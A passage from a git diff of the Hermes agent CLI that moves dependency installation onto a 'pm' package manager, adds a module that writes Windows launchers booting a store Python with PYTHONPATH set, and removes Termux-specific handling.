tools (git/bash/ffmpeg/...) on PATH. + # O(1) stamp checks, no network, no installs; warns, never blocks. + try: + import pm + + pm.adopt() + problems = pm.check() + if problems: + logger.warning( + "install out of sync (%s) — run `hermes pm install`", + "; ".join(problems), + ) + else: + pm.activate() + except Exception: + logger.debug("pm startup check failed", exc_info=True) # start_gateway() performs the full graceful teardown (adapters # disconnected, sessions saved + flushed, SQLite closed, cron/MCP stopped, # PID file + runtime lock released) before it returns OR raises SystemExit diff --git a/hermes_bootstrap.py b/hermes_bootstrap.py index c0622bb0d9..443a617bba 100644 --- a/hermes_bootstrap.py +++ b/hermes_bootstrap.py @@ -201,39 +201,9 @@ def harden_import_path(src_root: str | None = None) -> None: sys.path.insert(0, root) -def activate_durable_lazy_target() -> None: - """Put the durable lazy-install dir on ``sys.path`` if one is configured. - - On immutable Docker images the agent venv is sealed and lazy installs - are redirected to a writable dir on the data volume - (``HERMES_LAZY_INSTALL_TARGET``, e.g. ``/opt/data/lazy-packages``). - Packages installed there on a previous run must be importable on this - run, so we activate the dir here — at the very first import, before any - backend module imports its SDK. - - The activation appends to the END of ``sys.path`` so the core venv - always wins name collisions (see ``tools.lazy_deps`` for the full - security rationale). Never raises; a missing/empty target is a no-op. - """ - if not os.environ.get("HERMES_LAZY_INSTALL_TARGET", "").strip(): - return - try: - from tools import lazy_deps - lazy_deps.activate_durable_lazy_target() - except Exception: - # Bootstrap must never crash an entry point. If activation fails the - # backend simply reports itself unavailable, exactly as before. - pass - - # Apply on import — entry points just need ``import hermes_bootstrap`` # (or ``from hermes_bootstrap import apply_windows_utf8_bootstrap``) at # the very top of their module, before importing anything else. The # import side effect does the right thing. apply_windows_utf8_bootstrap() suppress_platform_ver_console() - -# Activate the durable lazy-install target (immutable Docker images) so -# packages installed into the data volume on a previous run are importable -# this run, before any backend module imports its SDK. No-op when unset. -activate_durable_lazy_target() diff --git a/hermes_cli/_install_repair.py b/hermes_cli/_install_repair.py index 36e030c412..19e4a4fbf8 100644 --- a/hermes_cli/_install_repair.py +++ b/hermes_cli/_install_repair.py @@ -11,9 +11,9 @@ Both callers need to run the same core ``.[all]`` reinstall: This module is deliberately **stdlib-only** so importing it can never fail in the corrupted-venv state it exists to repair. ``hermes_cli.main`` imports -``managed_uv``, ``hermes_constants``, and friends only in its late path; the -early path must not. Where the late path uses ``managed_uv.ensure_uv`` to -bootstrap uv if missing, the early path uses the stdlib +``pm``, ``hermes_constants``, and friends only in its late path; the +early path must not. Where the late path uses ``pm.uv()`` to +realize uv if missing, the early path uses the stdlib :func:`hermes_cli._early_recovery._find_uv_binary` lookup and falls back to plain pip when uv is absent — a degraded but working installer (the late recovery will bootstrap uv on the next launch if it ever matters). @@ -24,7 +24,6 @@ from __future__ import annotations import contextlib import json import os -import shutil import subprocess import sys import time @@ -39,19 +38,6 @@ def _is_windows() -> bool: return sys.platform == "win32" -def _is_termux_env(env: dict | None = None) -> bool: - """Stdlib Termux probe (hermes_cli.main's version lives behind imports).""" - env = env if env is not None else os.environ - try: - if env.get("TERMUX_VERSION"): - return True - prefix = env.get("PREFIX", "") - return "com.termux" in prefix - except Exception: - return False - - -@contextlib.contextmanager def _stdout_to_stderr(): """Route fd 1 (and sys.stdout) to stderr for the duration of an install. @@ -85,20 +71,14 @@ def _stdout_to_stderr(): def _resolve_install_target(root: Path) -> tuple[list[str], dict | None]: """(install_cmd_prefix, env) for the project venv — stdlib uv lookup. - Mirrors ``main.py::_default_venv_install_target`` but without - ``managed_uv``. ``VIRTUAL_ENV`` steers ``uv pip`` at the project venv even + Mirrors ``main.py::_default_venv_install_target`` but without ``pm``. ``VIRTUAL_ENV`` steers ``uv pip`` at the project venv even when invoked from the base interpreter (the early-recovery case). - Termux strips leaked interpreter-path env vars so uv resolves the venv - correctly. """ uv_bin = _er._find_uv_binary() if uv_bin: from hermes_constants import project_venv_dir env = {**os.environ, "VIRTUAL_ENV": str(project_venv_dir(root) or root / "venv")} - if _is_termux_env(env): - env.pop("PYTHONPATH", None) - env.pop("PYTHONHOME", None) return [uv_bin, "pip"], env return [sys.executable, "-m", "pip"], None @@ -120,36 +100,11 @@ def _venv_scripts_dir(root: Path) -> Path | None: #: Launcher command names install.ps1's Set-PathVariable exposes from the #: managed binary dir (the default Hermes root's ``bin``, next to uv.exe) -#: on the user PATH. Keep in lockstep with the launcher list in -#: scripts/install.ps1. +#: on the user PATH. Keep in lockstep with WINDOWS_BIN_LAUNCHERS in +#: hermes_cli/_launchers.py and scripts/install.ps1. _WINDOWS_BIN_LAUNCHERS = ("hermes", "hermes-acp") -def _venv_is_relocatable(venv_dir: Path) -> bool: - """True when the venv's pyvenv.cfg declares ``relocatable = true``. - - uv writes the flag; ``hermes_cli.managed_uv`` builds its replacement - venvs with ``--relocatable`` (they are constructed aside and swapped - into place). A relocatable venv's console-script trampolines embed a - RELATIVE interpreter reference, so a COPY of one placed outside - ``venv\\Scripts`` fails at run time with ``uv trampoline failed to - canonicalize script path``. Non-relocatable venvs (fresh installs) - embed the absolute interpreter path and their trampolines survive - copying. This flag decides which launcher form a PATH dir gets. - """ - try: - cfg = (Path(venv_dir) / "pyvenv.cfg").read_text( - encoding="utf-8", errors="replace" - ) - except OSError: - return False - for line in cfg.splitlines(): - key, _, value = line.partition("=") - if key.strip().lower() == "relocatable" and value.strip().lower() == "true": - return True - return False - - def _normalize_windows_path(value) -> str: """Windows path equality key: backslashes, no trailing separator, lowered. @@ -185,11 +140,15 @@ def ensure_windows_bin_launchers( windows: bool | None = None, user_path_entries: list[str] | None = None, ) -> list[str]: - """Re-stage the Windows ``hermes`` launchers when they vanish. + """Re-stage the Windows ``hermes`` launchers when they vanish or when + they still boot through the venv. - On Windows, ``hermes`` resolves through launchers derived from the venv - console scripts — never ``venv\\Scripts`` itself on PATH, which would - shadow the user's ``python`` (#83797). The canonical launcher home is + On Windows, ``hermes`` resolves through staged launchers — never + ``venv\\Scripts`` itself on PATH, which would shadow the user's + ``python`` (#83797) — and under pm the launchers boot the pm STORE + python with ``PYTHONPATH=;/site-packages``, never the venv + interpreter (no-boot-through-venv; ``pyvenv.cfg`` is inert dead + config). The canonical launcher home is the managed binary dir — the default Hermes root's ``bin`` (``%LOCALAPPDATA%\\hermes\\bin``, next to the managed uv) — which lives OUTSIDE the git checkout so no git operation can ever touch it. It is @@ -205,15 +164,10 @@ def ensure_windows_bin_launchers( terminal. That legacy location is re-staged too, during the transition, for installs whose user PATH still resolves through it. - The launcher FORM depends on the venv (see :func:`_venv_is_relocatable`): - a normal venv's exe trampoline embeds an absolute interpreter path and - survives copying, so it is copied as ``.exe``; a relocatable - venv's trampoline resolves relative to its own location and a copy - dies with ``uv trampoline failed to canonicalize script path``, so a - ``.cmd`` delegator invoking the in-venv exe by absolute path is - written instead. A name counts as present when EITHER form exists — - exe copies staged before a venv rebuild keep working (they embed the - swapped-in-place venv's absolute path) and are left alone. + A name counts as present when an exe exists that does NOT boot the + venv interpreter — legacy copied-venv trampolines (detected by their + embedded interpreter path) and placeholder .cmd delegators are replaced + with a store-python launcher as soon as one can be minted. Two targets, two gates, both failing toward inaction: @@ -251,6 +205,36 @@ def ensure_windows_bin_launchers( def _launcher_present(target: Path, name: str) -> bool: return (target / f"{name}.exe").exists() or (target / f"{name}.cmd").exists() + # Launchers boot the pm STORE python with PYTHONPATH=repo;site-packages + # — never the venv interpreter (no boot through the venv; pyvenv.cfg is + # inert dead config). mint_launcher prefers a distlib exe trampoline + # bound to the store python; a runtime-resolving .cmd is written when + # the store has not materialized a python yet, and the repair upgrades + # it (and any legacy copied-venv trampoline) to the exe once the store + # python exists. See hermes_cli/_launchers.py. + from hermes_cli._launchers import ( + exe_is_venv_bound, + mint_launcher, + resolve_store_python, + stage_launcher, + venv_site_packages, + ) + + from hermes_constants import project_venv_dir + + venv_dir = project_venv_dir(root) + site_packages = venv_site_packages(venv_dir) if venv_dir else None + + store_python = resolve_store_python(root) + + def _needs_attention(target: Path, name: str) -> bool: + """Missing, a placeholder .cmd, or a launcher that still boots the + venv interpreter — anything the store-python launcher should replace.""" + exe = target / f"{name}.exe" + if not exe.exists(): + return True + return exe_is_venv_bound(exe, venv_dir) + targets: list[Path] = [] # Canonical target — gate on the managed-clone shape. This runs at @@ -258,7 +242,9 @@ def ensure_windows_bin_launchers( # override), so the healthy path must stay at a couple of stat calls. if _normalize_windows_path(root.parent) == _normalize_windows_path(home): canonical = home / "bin" - if any(not _launcher_present(canonical, name) for name in _WINDOWS_BIN_LAUNCHERS): + if any( + _needs_attention(canonical, name) for name in _WINDOWS_BIN_LAUNCHERS + ): targets.append(canonical) # Legacy transition target — the pre-migration in-checkout dir. Only @@ -268,7 +254,7 @@ def ensure_windows_bin_launchers( # network shares. An entry stored some other way (8.3 short path, # subst drive) misses the re-stage, which fails safe: no-op. legacy = root / "bin" - if any(not _launcher_present(legacy, name) for name in _WINDOWS_BIN_LAUNCHERS): + if any(_needs_attention(legacy, name) for name in _WINDOWS_BIN_LAUNCHERS): if user_path_entries is None: user_path_entries = _windows_user_path_entries() configured = {_normalize_windows_path(entry) for entry in user_path_entries} @@ -278,44 +264,23 @@ def ensure_windows_bin_launchers( if not targets: return [] - from hermes_constants import project_venv_dir, venv_bin_dir - - venv_dir = project_venv_dir(root) - if venv_dir is None: - return [] - scripts_dir = venv_bin_dir(venv_dir, windows=windows) - sources = [ - (name, scripts_dir / f"{name}.exe") - for name in _WINDOWS_BIN_LAUNCHERS - if (scripts_dir / f"{name}.exe").is_file() - ] - if not sources: - return [] - relocatable = _venv_is_relocatable(venv_dir) - restored: list[str] = [] for target in targets: try: target.mkdir(parents=True, exist_ok=True) except OSError: continue - for name, source in sources: - if _launcher_present(target, name): + for name in _WINDOWS_BIN_LAUNCHERS: + if not _needs_attention(target, name): + # Already a store-python launcher (or a form this heal does + # not understand but that does not boot the venv): leave it. continue - final = target / (f"{name}.cmd" if relocatable else f"{name}.exe") - staging = target / f"{final.name}.heal.{os.getpid()}" - try: - if relocatable: - staging.write_text( - "@echo off\r\n" f'"{source}" %*\r\n', encoding="ascii" - ) - else: - shutil.copy2(source, staging) - os.replace(staging, final) + if store_python is not None: + final = mint_launcher(name, root, target, store_python, site_packages) + else: + final = stage_launcher(name, root, target) + if final is not None: restored.append(str(final)) - except OSError: - with contextlib.suppress(OSError): - staging.unlink() if restored: # Guarded like everything else in this never-raises helper: a # closed/broken stderr must not turn a successful heal into a crash. @@ -573,7 +538,7 @@ def _run_install_cmd(cmd: list[str], *, env: dict | None, root: Path) -> None: def _load_installable_optional_extras(root: Path, group: str) -> list[str]: - """Optional extras referenced by a dependency group (all / termux-all).""" + """Optional extras referenced by a dependency group (all).""" try: import tomllib @@ -604,17 +569,16 @@ def run_core_install(root: Path) -> None: pip module at all) - prefer ``uv pip`` with VIRTUAL_ENV pointed at the project venv; fall back to ``python -m pip`` when no uv binary is available - - target ``.[all]`` (or ``.[termux-all]`` on Termux) with the per-extra - fallback ladder when the combined extras resolve fails + - target ``.[all]`` with the per-extra fallback ladder when the combined + extras resolve fails - quarantine live ``hermes*.exe`` shims on Windows so they can be replaced - route ALL install output to stderr (acp/JSON-RPC safety) - - Termux strips leaked PYTHONPATH/PYTHONHOME from the uv env Raises ``subprocess.CalledProcessError`` when even the base install fails; callers own marker lifecycle (clear on success, keep on failure). """ prefix, env = _resolve_install_target(root) - group = "termux-all" if _is_termux_env(env) else "all" + group = "all" with _stdout_to_stderr(): try: @@ -676,7 +640,7 @@ def bump_marker_attempts(marker_path: Path) -> int: """ attempts = 0 try: - raw = marker_path.read_text(encoding="utf-8", errors="replace").strip() + raw = marker_path.read_text(encoding="utf-8-sig", errors="replace").strip() if raw: try: attempts = int(json.loads(raw).get("attempts", 0)) diff --git a/hermes_cli/_launchers.py b/hermes_cli/_launchers.py new file mode 100644 index 0000000000..172843f33f --- /dev/null +++ b/hermes_cli/_launchers.py @@ -0,0 +1,325 @@ +"""Windows launcher staging: `hermes` / `hermes-acp` launchers that boot the +pm STORE python with ``PYTHONPATH=;/site-packages`` — never +``venv\\Scripts\\python.exe`` (pm work item 3, "no boot through the venv"; +``pyvenv.cfg`` is inert dead config). + +Two consumers: + +- ``scripts/install.ps1`` Stage-Path (bootstrap) calls + :func:`ensure_install_launchers` through the venv python — install-time + use of the venv interpreter is fine; it is the materializer, not a boot + path. On a fresh install the pm store interpreter does not exist yet, so + a runtime-resolving ``.cmd`` delegator is staged and + ``hermes_cli._install_repair.ensure_windows_bin_launchers`` upgrades it + to an exe once ``hermes pm install`` lands the store python. +- ``hermes_cli/_install_repair.py`` calls the same machinery per-name when + a launcher is missing or still boots through the venv. + +Store-root resolution mirrors ``pm/paths.py`` (HERMES_RUNTIME_DIR → +install-stamp.json ``runtimeDir`` → the pm default root); it is re-implemented +here because this module must stay importable from a bare interpreter +(stdlib + distlib only) during repair/bootstrap where ``pm`` imports are not +guaranteed. If pm's layout changes, keep the two in lockstep. + +The exe form uses distlib's ScriptMaker with a customized script template +that inserts the repo root and the venv's site-packages into ``sys.path`` +before importing the entry point — distlib is taken from pip's vendored +copy when the standalone package is absent (uv-synced venvs carry pip but +rarely standalone distlib). When distlib is unavailable, a ``.cmd`` +delegator carrying the same PYTHONPATH composition is written instead. +""" + +from __future__ import annotations + +import json +import os +from pathlib import Path + +#: Launcher command names — keep in lockstep with scripts/install.ps1 +#: Stage-Path and hermes_cli/_install_repair.py. +WINDOWS_BIN_LAUNCHERS = ("hermes", "hermes-acp") + +#: command name -> (entry module, callable) — mirrors pyproject.toml +#: [project.scripts]. +ENTRY_POINTS = { + "hermes": ("hermes_cli.main", "main"), + "hermes-acp": ("acp_adapter.entry", "main"), +} + + +def _is_windows() -> bool: + return os.name == "nt" + + +def project_venv_dir(repo_root: Path) -> Path | None: + """The uv-sync target venv of the install (``venv`` preferred, ``.venv`` + for dev checkouts).""" + for name in ("venv", ".venv"): + candidate = Path(repo_root) / name + if candidate.is_dir(): + return candidate + return None + + +def store_root(repo_root: Path) -> Path: + """The pm byte store, resolved exactly like pm/paths.store_root().""" + env = os.environ.get("HERMES_RUNTIME_DIR") + if env: + return Path(env) + stamp = Path(repo_root) / "install-stamp.json" + if stamp.is_file(): + try: + runtime_dir = json.loads(stamp.read_text(encoding="utf-8-sig")).get( + "runtimeDir" + ) + except (OSError, ValueError): + runtime_dir = None + if runtime_dir: + return Path(runtime_dir) + from hermes_constants import get_default_hermes_root + + return Path(get_default_hermes_root()) / "tools" + + +def resolve_store_python(repo_root: Path) -> Path | None: + """The interpreter the store installed from the ``python`` package + (facts.json entry first, newest ``python-*`` entry as fallback), or + None when `hermes pm install` has not materialized one yet.""" + runtime = store_root(repo_root) + rel = "python.exe" if _is_windows() else "bin/python3" + + facts = runtime / "facts.json" + if facts.is_file(): + try: + packages = json.loads(facts.read_text(encoding="utf-8-sig")).get( + "packages", {} + ) + entry = (packages.get("python") or {}).get("entry") + except (OSError, ValueError): + entry = None + if entry: + candidate = runtime / entry / rel + if candidate.is_file(): + return candidate + + for entry_dir in sorted(runtime.glob("python-*"), key=lambda p: p.name): + candidate = entry_dir / rel + if candidate.is_file(): + return candidate + return None + + +def venv_site_packages(venv_dir: Path) -> Path | None: + """The venv directory uv sync fills (Windows ``Lib\\site-packages``; + POSIX ``lib/python3.X/site-packages``).""" + venv_dir = Path(venv_dir) + if _is_windows(): + candidate = venv_dir / "Lib" / "site-packages" + return candidate if candidate.is_dir() else None + for candidate in sorted(venv_dir.glob("lib/python3.*/site-packages")): + if candidate.is_dir(): + return candidate + return None + + +def _load_script_maker(): + """distlib's ScriptMaker — standalone first, then pip's vendored copy.""" + try: + from distlib.scripts import ScriptMaker + + return ScriptMaker + except ImportError: + pass + try: + from pip._vendor.distlib.scripts import ScriptMaker + + return ScriptMaker + except ImportError: + return None + + +def exe_is_venv_bound(exe: Path, venv_dir: Path | None) -> bool: + """True when an existing launcher exe embeds the venv interpreter — + i.e. it is a copied venv console-script trampoline from the pre-pm + installer, which boots through ``venv\\Scripts\\python.exe`` and must be + replaced. distlib launchers append the interpreter shebang after the zip + payload; both encodings are scanned to be safe.""" + if venv_dir is None: + return False + needles = set() + for interpreter in ( + venv_dir / "Scripts" / "hermes.exe", + venv_dir / "Scripts" / "hermes-acp.exe", + venv_dir / "Scripts" / "python.exe", + venv_dir / "bin" / "python3", + venv_dir / "bin" / "hermes", + venv_dir / "bin" / "hermes-acp", + ): + for enc in ("utf-8", "utf-16-le"): + try: + needles.add(str(interpreter).encode(enc)) + except Exception: + continue + try: + data = Path(exe).read_bytes() + except OSError: + return False + return any(needle in data for needle in needles) + + +def _write_atomic(target: Path, write) -> Path | None: + """Stage under a pid-suffixed name then os.replace, so a concurrent + process start never sees a torn launcher.""" + staging = target.with_name(f"{target.name}.stage.{os.getpid()}") + try: + write(staging) + os.replace(staging, target) + return target + except OSError: + try: + staging.unlink() + except OSError: + pass + return None + + +def mint_launcher( + name: str, + repo_root: Path, + out_dir: Path, + python_exe: Path, + site_packages: Path | None, +) -> Path | None: + """Write one launcher for *name* into out_dir. Returns the written path + or None. Prefers a distlib exe trampoline whose embedded script inserts + the repo root and site-packages before importing the entry point; falls + back to a .cmd delegator (same interpreter, same PYTHONPATH) when + distlib is unavailable.""" + module, func = ENTRY_POINTS[name] + out_dir = Path(out_dir) + + script_maker_cls = _load_script_maker() + if script_maker_cls is not None: + # The template is %-formatted by distlib with (module, import_name, + # func); the install-time paths are baked in as literals. The repo + # root goes FIRST — its packages win over site-packages (same + # ordering as the desktop shim's PYTHONPATH composition). + esc = lambda p: str(p).replace("%", "%%") # noqa: E731 + site_line = ( + f"sys.path.append({esc(site_packages)!r})\n" if site_packages else "" + ) + + class _PathedScriptMaker(script_maker_cls): # type: ignore[misc,valid-type] + script_template = ( + "# -*- coding: utf-8 -*-\n" + "import re\n" + "import sys\n" + f"sys.path.insert(0, {esc(repo_root)!r})\n" + f"{site_line}" + "if __name__ == '__main__':\n" + " from %(module)s import %(import_name)s\n" + " sys.argv[0] = re.sub(r'(-script\\.pyw|\\.exe)?$', '', sys.argv[0])\n" + " sys.exit(%(func)s())\n" + ) + + maker = _PathedScriptMaker(None, str(out_dir), add_launchers=True) + maker.executable = str(python_exe) + maker.variants = {""} + maker.clobber = True + try: + written = maker.make(f"{name} = {module}:{func}") + except Exception: + written = [] + for path in written: + if Path(path).suffix.lower() == ".exe": + return Path(path) + # distlib ran but produced no exe (unexpected) — fall through to cmd. + + site = f";{site_packages}" if site_packages else "" + code = f"import sys; from {module} import {func}; sys.exit({func}())" + body = ( + "@echo off\r\n" + "chcp 65001 >nul\r\n" + f'set "PYTHONPATH={repo_root}{site}"\r\n' + 'set "PYTHONHOME="\r\n' + f'"{python_exe}" -c "{code}" %*\r\n' + ) + return _write_atomic(out_dir / f"{name}.cmd", lambda p: p.write_text(body, encoding="utf-8")) + + +def stage_launcher(name: str, repo_root: Path, out_dir: Path) -> Path | None: + """Stage/refresh ONE launcher for the install rooted at repo_root, + writing what the CURRENT state supports: + + - store interpreter present → exe (or .cmd if distlib is missing) bound + to it, with the repo-first PYTHONPATH baked in; + - store interpreter absent → a runtime-resolving .cmd that finds the + store python at boot and fails with a clear message until + `hermes pm install` materializes it. + + Never raises; returns the written path or None.""" + repo_root = Path(repo_root) + venv_dir = project_venv_dir(repo_root) + site_packages = venv_site_packages(venv_dir) if venv_dir else None + store_python = resolve_store_python(repo_root) + if store_python is not None: + path = mint_launcher(name, repo_root, out_dir, store_python, site_packages) + if path is not None: + return path + return _write_runtime_cmd(name, repo_root, site_packages, out_dir) + + +def ensure_install_launchers(repo_root: Path, out_dir: Path) -> list[str]: + """Stage/refresh every launcher in WINDOWS_BIN_LAUNCHERS — see + :func:`stage_launcher` for the per-name contract.""" + repo_root = Path(repo_root) + written: list[str] = [] + for name in WINDOWS_BIN_LAUNCHERS: + path = stage_launcher(name, repo_root, Path(out_dir)) + if path is not None: + written.append(str(path)) + return written + + +def _write_runtime_cmd( + name: str, + repo_root: Path, + site_packages: Path | None, + out_dir: Path, +) -> Path | None: + """The boot-time-resolving .cmd fallback (fresh install, no store + interpreter yet): glob ``\\python-*`` for the store python at + boot, compose PYTHONPATH, and fail with a clear message when the store + is empty. Never references the venv interpreter. The ``endlocal & set`` + idiom hoists the boot-resolved interpreter and PYTHONPATH out of the + setlocal scope (percent expansion happens while setlocal is still + active, before endlocal executes).""" + module, func = ENTRY_POINTS[name] + site = "" + if site_packages is not None: + site = ( + ";%HERMES_REPO%\\" + + str(site_packages.relative_to(repo_root)).replace("/", "\\") + ) + body = ( + "@echo off\r\n" + "chcp 65001 >nul\r\n" + "setlocal\r\n" + f'set "HERMES_REPO={repo_root}"\r\n' + 'set "PM_RT=%HERMES_RUNTIME_DIR%"\r\n' + 'if not defined PM_RT set "PM_RT=%LOCALAPPDATA%\\hermes\\tools"\r\n' + 'set "PM_PY="\r\n' + 'for /d %%D in ("%PM_RT%\\python-*") do if exist "%%D\\python.exe" set "PM_PY=%%D\\python.exe"\r\n' + 'if not defined PM_PY (\r\n' + " echo hermes: no pm store interpreter under %PM_RT% - run \"hermes pm install\" first 1>&2\r\n" + " exit /b 1\r\n" + ")\r\n" + f'endlocal & set "PYTHONPATH=%HERMES_REPO%{site}" & set "PM_PY=%PM_PY%"\r\n' + 'set "PYTHONHOME="\r\n' + f'set "PM_ENTRY=import sys; from {module} import {func}; sys.exit({func}())"\r\n' + '"%PM_PY%" -c "%PM_ENTRY%" %*\r\n' + ) + return _write_atomic( + Path(out_dir) / f"{name}.cmd", + lambda p: p.write_text(body, encoding="utf-8"), + ) diff --git a/hermes_cli/_subprocess_compat.py b/hermes_cli/_subprocess_compat.py index 86dbc2d8e1..d62eb723a0 100644 --- a/hermes_cli/_subprocess_compat.py +++ b/hermes_cli/_subprocess_compat.py @@ -38,6 +38,7 @@ __all__ = [ "IS_WINDOWS", "resolve_node_command", "split_command_line", + "restore_ambient_pythonpath", "suppress_platform_ver_console", "windows_detach_flags", "windows_detach_flags_without_breakaway", @@ -93,6 +94,29 @@ def split_command_line(line: str) -> list[str]: # ----------------------------------------------------------------------------- +def restore_ambient_pythonpath(env: Mapping[str, str]) -> dict: + """Re-add the ambient ``PYTHONPATH`` to a child environment that a + ``build_subprocess_env``-style factory already built. + + No-boot-through-venv: the boot interpreter is the pm STORE python, whose + imports arrive via ``PYTHONPATH=;/site-packages`` (it has no + editable install). The subprocess-env factories strip Hermes-owned + PYTHONPATH entries so agent-run children on DIFFERENT interpreter + versions never load the backend's C extensions — but a child that + re-execs THIS interpreter (``sys.executable -m hermes_cli.main``) runs + on the same version and needs those entries back. Prepending keeps the + launcher's repo-first ordering intact. + """ + merged = dict(env) + ambient = os.environ.get("PYTHONPATH") + if ambient: + existing = merged.get("PYTHONPATH", "") + merged["PYTHONPATH"] = ( + ambient + os.pathsep + existing if existing else ambient + ) + return merged + + def resolve_node_command(name: str, argv: Sequence[str]) -> list[str]: """Resolve a Node-ecosystem command name to an absolute-path argv. diff --git a/hermes_cli/backup.py b/hermes_cli/backup.py index c831ea7b78..da077a4798 100644 --- a/hermes_cli/backup.py +++ b/hermes_cli/backup.py @@ -1731,7 +1731,7 @@ def list_quick_snapshots( manifest_path = d / "manifest.json" if manifest_path.exists(): try: - with open(manifest_path, encoding="utf-8") as f: + with open(manifest_path, encoding="utf-8-sig") as f: results.append(json.load(f)) except (json.JSONDecodeError, OSError): results.append({"id": d.name, "file_count": 0, "total_size": 0}) @@ -1775,7 +1775,7 @@ def restore_quick_snapshot( if not manifest_path.exists(): return False - with open(manifest_path, encoding="utf-8") as f: + with open(manifest_path, encoding="utf-8-sig") as f: meta = json.load(f) restored = 0 diff --git a/hermes_cli/cli_commands_mixin.py b/hermes_cli/cli_commands_mixin.py index 3ee64cd682..a8c4ba294e 100644 --- a/hermes_cli/cli_commands_mixin.py +++ b/hermes_cli/cli_commands_mixin.py @@ -3253,7 +3253,7 @@ class CLICommandsMixin: # Fall back to a bare invocation (editor value may not be a # simple argv-splittable string on some platforms). subprocess.call(f"{editor} {shlex.quote(path)}", shell=True) - with open(path, "r", encoding="utf-8") as fh: + with open(path, "r", encoding="utf-8-sig") as fh: raw = fh.read() finally: try: diff --git a/hermes_cli/dep_ensure.py b/hermes_cli/dep_ensure.py index a3fbf51bae..83f72e9e7a 100644 --- a/hermes_cli/dep_ensure.py +++ b/hermes_cli/dep_ensure.py @@ -1,185 +1,58 @@ -"""Lazy dependency bootstrapper for non-Python runtime deps. +"""Lazy bootstrapper for non-Python runtime deps, routed through pm. -Detection and prompting live here in Python — not in install.sh — because: - 1. shutil.which() works on every platform; install.sh needs bash. - 2. Detection is instant; spawning bash for a "is node installed?" check is waste. - 3. Python controls the UX (rich prompts, non-interactive fallback, TTY detection). +The old shape spawned install.sh/install.ps1 with an --ensure flag; the +rewritten bootstraps no longer install tools ("heavy deps are pm's job"), +so this module is now a thin adapter: each dep maps to the pm packages +that provide it, pm's lazy-install policy decides whether installing is +allowed right now, and pm's InstallError carries the remedy when not. -install.sh is still the *installation* backend because it has 1900 lines of -battle-tested OS detection and package-manager logic (apt/brew/pacman/dnf/ -zypper/Termux/…). Reimplementing that in Python would be huge duplication. - -Deps that degrade gracefully (ripgrep → grep fallback, ffmpeg → skip conversion) -don't need ensure_dependency wired in — only hard-fail sites do (TUI needs node, -browser tool needs agent-browser). +Deps that degrade gracefully (ffmpeg → skip conversion) are not wired +here — only hard-fail sites call ensure_dependency (TUI needs node, +browser tools need the browser stack). """ from __future__ import annotations -import platform import shutil -import subprocess -import sys -from pathlib import Path -from hermes_constants import agent_browser_runnable, find_node_executable -from tools.environments.local import hermes_subprocess_env +from hermes_constants import find_node_executable -_IS_WINDOWS = platform.system() == "Windows" - -_DEP_CHECKS = { - # find_node_executable() rather than a bare which(): $HERMES_HOME/node is - # not on PATH, so which() would report Node missing on an install that has - # a managed one and trigger a redundant re-install. - "node": lambda: find_node_executable("node") is not None, - "browser": lambda: ( - agent_browser_runnable(shutil.which("agent-browser")) - or _has_system_browser() - or _has_hermes_agent_browser() - or _has_npx_agent_browser() - ), - "ripgrep": lambda: shutil.which("rg") is not None, - "ffmpeg": lambda: shutil.which("ffmpeg") is not None, -} - -_DEP_DESCRIPTIONS = { - "node": "Node.js (required for browser tools and TUI)", - "browser": "Browser engine (Chromium, for web browsing tools)", - "ripgrep": "ripgrep (fast file search)", - "ffmpeg": "ffmpeg (TTS voice messages)", +# dep name -> (availability check, pm packages that provide it) +_DEPS = { + "node": (lambda: find_node_executable("node") is not None, ("node",)), + "browser": (lambda: _browser_available(), ("agent-browser", "chromium")), + "ripgrep": (lambda: shutil.which("rg") is not None, ("ripgrep",)), } -def _has_system_browser() -> bool: - if _IS_WINDOWS: - names = ("chrome", "msedge", "chromium") - else: - names = ("google-chrome", "google-chrome-stable", "chromium", "chromium-browser", "chrome") - for name in names: - if shutil.which(name): - return True - return False +def _browser_available() -> bool: + from hermes_constants import agent_browser_runnable - -def _has_npx_agent_browser() -> bool: - """agent-browser resolves lazily via npx on the default install (#43564), - invisible to the PATH/managed-dir probes above. Mirror - tools.browser_tool.check_browser_requirements's Termux carve-out so this - check can't diverge from what browser tools actually find.""" + if agent_browser_runnable(shutil.which("agent-browser")): + return True try: - from tools.browser_tool import ( - _find_agent_browser, - _is_npx_agent_browser_sentinel, - _requires_real_termux_browser_install, - ) - browser_cmd = _find_agent_browser(validate=False) + import pm + + return pm.is_installed("agent-browser") except Exception: return False - if not _is_npx_agent_browser_sentinel(browser_cmd): - return False - return not _requires_real_termux_browser_install(browser_cmd) -def _has_hermes_agent_browser() -> bool: - from hermes_constants import get_hermes_home - home = get_hermes_home() - if _IS_WINDOWS: - # npm -g --prefix puts .cmd shims directly in the prefix dir on Windows - return (home / "node" / "agent-browser.cmd").is_file() - # install.sh installs globally into $HERMES_HOME/node/bin/ via npm -g --prefix - # Also check legacy node_modules/.bin/ path for git-clone installs. - return ( - (home / "node" / "bin" / "agent-browser").is_file() - or (home / "node_modules" / ".bin" / "agent-browser").is_file() - ) - - -def _find_install_script( - package_dir: Path | None = None, - repo_root: Path | None = None, -) -> tuple[Path | None, str | None]: - """Locate the install script — bundled in wheel or in git checkout. - - On Windows, prefers install.ps1; on POSIX, prefers install.sh. - Returns a (path, shell) tuple, or (None, None) if neither is found. - """ - if package_dir is None: - package_dir = Path(__file__).parent - if repo_root is None: - repo_root = package_dir.parent - - if _IS_WINDOWS: - preferred = ("install.ps1", "powershell") - fallback = ("install.sh", "bash") - else: - preferred = ("install.sh", "bash") - fallback = ("install.ps1", "powershell") - - for script_name, shell in (preferred, fallback): - bundled = package_dir / "scripts" / script_name - if bundled.is_file(): - return bundled, shell - repo = repo_root / "scripts" / script_name - if repo.is_file(): - return repo, shell - - return None, None - - -def ensure_dependency( - dep: str, - interactive: bool = True, -) -> bool: +def ensure_dependency(dep: str, interactive: bool = True) -> bool: """Ensure a non-Python dependency is available. Returns True if available.""" - check = _DEP_CHECKS.get(dep) - if check is None: - # Unknown dep — don't silently forward to install script. + entry = _DEPS.get(dep) + if entry is None: return False + check, packages = entry if check(): return True - script, shell = _find_install_script() - if script is None: + try: + import pm + + for name in packages: + pm.ensure(name) + except Exception as exc: if interactive: - desc = _DEP_DESCRIPTIONS.get(dep, dep) - print(f" {desc} is not installed and no install script was found.") - print(f" Install {dep} manually and try again.") + print(f" {exc}") return False - - if interactive and sys.stdin.isatty(): - desc = _DEP_DESCRIPTIONS.get(dep, dep) - try: - reply = input(f"{desc} is not installed. Install now? [Y/n] ").strip().lower() - except (EOFError, KeyboardInterrupt): - return False - if reply not in ("", "y", "yes"): - return False - - if shell == "powershell": - from hermes_constants import get_hermes_home - ps_bin = shutil.which("powershell") or 